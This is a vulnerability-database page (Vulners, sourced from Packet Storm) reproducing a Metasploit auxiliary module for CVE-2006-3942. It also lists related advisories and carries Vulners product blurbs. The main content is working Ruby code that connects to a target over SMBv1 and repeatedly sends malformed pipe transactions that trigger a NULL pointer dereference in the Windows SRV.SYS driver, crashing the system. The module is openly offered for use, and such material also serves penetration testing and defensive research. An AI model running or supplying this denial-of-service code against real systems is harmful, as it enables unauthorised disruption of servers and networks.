Lucene search
K

Microsoft SRV.SYS Pipe Transaction No Null

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 138 Views

Microsoft SRV.SYS Pipe Transaction No Null. Exploits NULL pointer dereference flaw in SRV.SYS driver of Windows OS

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2006-3942
29 May 201815:50
circl
Core Security
: Microsoft SRV.SYS SMB_COM_TRANSACTION Denial of Service
1 Jan 197600:00
coresecurity
CVE
CVE-2006-3942
31 Jul 200623:00
cve
Cvelist
CVE-2006-3942
31 Jul 200623:00
cvelist
Metasploit
Microsoft SRV.SYS Mailslot Write Corruption
15 Aug 200602:49
metasploit
Metasploit
Microsoft SRV.SYS Pipe Transaction No Null
10 Oct 200618:08
metasploit
NVD
CVE-2006-3942
31 Jul 200623:04
nvd
Packet Storm
Microsoft SRV.SYS Mailslot Write Corruption
31 Aug 202400:00
packetstorm
securityvulns
Mailslot bug (MS06-035) vs non-Mailslot bug (CVE-2006-3942)
16 Aug 200600:00
securityvulns
securityvulns
CORE-2006-0714: Microsoft SRV.SYS SMB_COM_TRANSACTION Denial of Service
16 Aug 200600:00
securityvulns
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SMB::Client  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SRV.SYS Pipe Transaction No Null',  
'Description' => %q{  
This module exploits a NULL pointer dereference flaw in the  
SRV.SYS driver of the Windows operating system. This bug was  
independently discovered by CORE Security and ISS.  
},  
  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['OSVDB', '27644' ],  
['MSB', 'MS06-063' ],  
['CVE', '2006-3942'],  
['BID', '19215'],  
]  
))  
  
deregister_options('SMB::ProtocolVersion')  
end  
  
def run  
  
print_status("Connecting to the target system...");  
  
connect(versions: [1])  
smb_login  
  
begin  
1.upto(5) do |i|  
print_status("Sending bad SMB transaction request #{i}...");  
self.simple.client.trans_nonull(  
"\\#{Rex::Text.rand_text_alphanumeric(rand(16)+1)}",  
'',  
Rex::Text.rand_text_alphanumeric(rand(16)+1),  
3,  
[1,0,1].pack('vvv'),  
true  
)  
end  
rescue ::Interrupt  
return  
  
rescue ::Exception => e  
print_error("Error: #{e.class} > #{e}")  
end  
  
  
disconnect  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 27.8
EPSS0.86205
138